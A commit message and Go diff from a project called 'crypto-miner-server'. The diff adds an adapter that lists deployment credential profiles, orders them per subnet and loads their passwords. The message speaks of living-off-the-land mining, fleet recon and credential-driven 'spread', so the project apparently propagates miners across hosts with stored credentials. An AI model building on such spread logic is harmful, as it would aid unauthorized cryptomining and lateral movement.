Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/config_spread_cred.go

@@ -0,0 +1,74 @@
+package main
+
+import (
+	"sync"
+
+	apipkg "crypto-miner-server/internal/api"
+	dbpkg "crypto-miner-server/internal/db"
+)
+
+// configSpreadCredAdapter exposes Calibrate deployment credentials to spread-cred APIs.
+type configSpreadCredAdapter struct {
+	mu   sync.RWMutex
+	cfg  *Config
+}
+
+func newConfigSpreadCredAdapter(cfg *Config) *configSpreadCredAdapter {
+	return &configSpreadCredAdapter{cfg: cfg}
+}
+
+func (a *configSpreadCredAdapter) setConfig(cfg *Config) {
+	a.mu.Lock()
+	a.cfg = cfg
+	a.mu.Unlock()
+}
+
+func (a *configSpreadCredAdapter) snapshot() *Config {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	return a.cfg
+}
+
+func (a *configSpreadCredAdapter) DeploymentProfiles() []apipkg.DeploymentCredProfile {
+	cfg := a.snapshot()
+	if cfg == nil {
+		return nil
+	}
+	out := make([]apipkg.DeploymentCredProfile, 0, len(cfg.DeploymentCredentials))
+	for _, p := range cfg.DeploymentCredentials {
+		EnsureCredProfileID(&p)
+		out = append(out, apipkg.DeploymentCredProfile{
+			ID:       p.ID,
+			Label:    p.Label,
+			Username: p.Username,
+			VaultRef: p.VaultRef,
+		})
+	}
+	return out
+}
+
+func (a *configSpreadCredAdapter) OrderProfilesForSubnet(subnet string, affinity []dbpkg.CredProfileAffinity) []apipkg.DeploymentCredProfile {
+	cfg := a.snapshot()
+	if cfg == nil {
+		return nil
+	}
+	ordered := cfg.OrderDeploymentCredProfiles(affinity)
+	out := make([]apipkg.DeploymentCredProfile, 0, len(ordered))
+	for _, p := range ordered {
+		out = append(out, apipkg.DeploymentCredProfile{
+			ID:       p.ID,
+			Label:    p.Label,
+			Username: p.Username,
+			VaultRef: p.VaultRef,
+		})
+	}
+	return out
+}
+
+func (a *configSpreadCredAdapter) LoadProfileSecret(profileID string) (string, string, error) {
+	cfg := a.snapshot()
+	if cfg == nil {
+		return "", "", nil
+	}
+	return cfg.LoadDeploymentCredPassword(profileID)
+}